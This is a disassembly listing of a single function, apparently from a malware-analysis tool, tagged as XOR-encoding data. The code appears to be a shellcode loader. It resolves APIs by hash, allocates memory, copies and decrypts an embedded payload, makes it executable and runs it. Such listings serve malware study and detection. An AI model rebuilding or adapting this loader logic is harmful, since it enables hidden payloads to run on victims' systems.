Function at 0x180001800
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x180004040]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov ebx, 0x6b800
mov qword [rbp - 0x11], 0
mov ecx, 0x69f5e62
mov qword [rbp + 0x1f], rbx
call section..text
mov ecx, 0x3f6c00
mov rdi, rax
call section..text
mov edx, 0x38c367f1
mov dword [rbp - 0x19], 0
mov rcx, rax
mov r14, rax
call fcn.180001150
mov edx, 0x63a59ef
mov rcx, rdi
lea rsi, [rax + 0x12]
call fcn.180001150
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov r8d, 1
call rax
mov r8d, 0x68dae416
lea rdx, [rbp - 0x19]
mov rcx, r14
mov r15, rax
call fcn.180001220
mov ecx, dword [rbp - 0x19]
mov rdx, rsi
call fcn.180001830
lea r9, [rbp + 0x1f]
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov dword [rsp + 0x20], 0x1000
lea rdx, [rbp - 0x11]
mov rcx, 0xffffffffffffffff
call fcn.180001853
mov rcx, qword [rbp - 0x11]
lea rdx, [0x1800040e0]
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rbx, 1
jne 0x180001592
mov edx, 0x64de2d4
mov rcx, rdi
call fcn.180001150
xor byte [0x1800040d0], 0xec
lea rcx, [0x1800040d0]
xor byte [0x1800040d1], 0xec
xor byte [0x1800040d2], 0xec
xor byte [0x1800040d3], 0xec
xor byte [0x1800040d4], 0xec
xor byte [0x1800040d5], 0xec
xor byte [0x1800040d6], 0xec
xor byte [0x1800040d7], 0xec
xor byte [0x1800040d8], 0xec
call rax
xor byte [0x1800040d0], 0xec
lea rbx, [0x18006f8e0]
xor byte [0x1800040d1], 0xec
mov r8, rax
xor byte [0x1800040d2], 0xec
mov rax, rbx
xor byte [0x1800040d3], 0xec
xor byte [0x1800040d4], 0xec
xor byte [0x1800040d5], 0xec
xor byte [0x1800040d6], 0xec
xor byte [0x1800040d7], 0xec
xor byte [0x1800040d8], 0xec
movdqa xmm6, xmmword [0x1800031a0]
xor ecx, ecx
movdqu xmm0, xmmword [rax]
lea rax, [rax + 0x10]
add ecx, 0x10
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax - 0x10], xmm1
cmp ecx, 0x10
jb 0x180001650
movsxd rax, ecx
cmp rax, 0x12
jae 0x18000168e
add rax, rbx
nop dword [rax + rax]
xor byte [rax], 0xec
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x12
jb 0x180001680
mov rdx, rbx
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov rdx, rbx
mov r8, rax
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rdx]
lea rdx, [rdx + 0x10]
add ecx, 0x10
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rdx - 0x10], xmm1
cmp ecx, 0x10
jb 0x1800016b0
movsxd rax, ecx
cmp rax, 0x12
jae 0x1800016ee
add rax, rbx
nop dword [rax + rax]
xor byte [rax], 0xec
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x12
jb 0x1800016e0
mov rax, qword [rbp - 0x11]
lea rdx, [rbp - 1]
mov qword [rbp + 0x17], rax
lea rcx, [rbp + 0xf]
mov rax, qword [rbp + 0x1f]
mov dword [rbp + 0x13], eax
mov dword [rbp + 0xf], eax
lea rax, [0x1800040c0]
mov qword [rbp + 7], rax
mov dword [rbp + 3], 0x10
mov dword [rbp - 1], 0x10
call r8
mov r8d, 0xe3f5931f
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.180001220
mov ecx, dword [rbp - 0x19]
mov rdx, rsi
call fcn.180001830
lea rax, [rbp + 0x27]
mov r9d, 0x20
lea r8, [rbp + 0x1f]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x11]
mov rcx, 0xffffffffffffffff
call fcn.180001853
mov edx, 0x21ee6be
mov qword [rbp - 9], 0
mov rcx, r14
call fcn.180001150
mov rdx, qword [rbp - 0x11]
lea rcx, [rbp - 9]
xor r9d, r9d
xor r8d, r8d
call rax
mov edx, 0x3c7f2b
mov rcx, r14
call fcn.180001150
mov rcx, qword [rbp - 9]
xor r8d, r8d
mov rdx, r15
call rax
mov r8d, 0xfe3e8bd5
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.180001220
mov ecx, dword [rbp - 0x19]
mov rdx, rsi
call fcn.180001830
xor r8d, r8d
xor edx, edx
mov rcx, r15
call fcn.180001853
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.180001880
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
jmp 0x1800014b0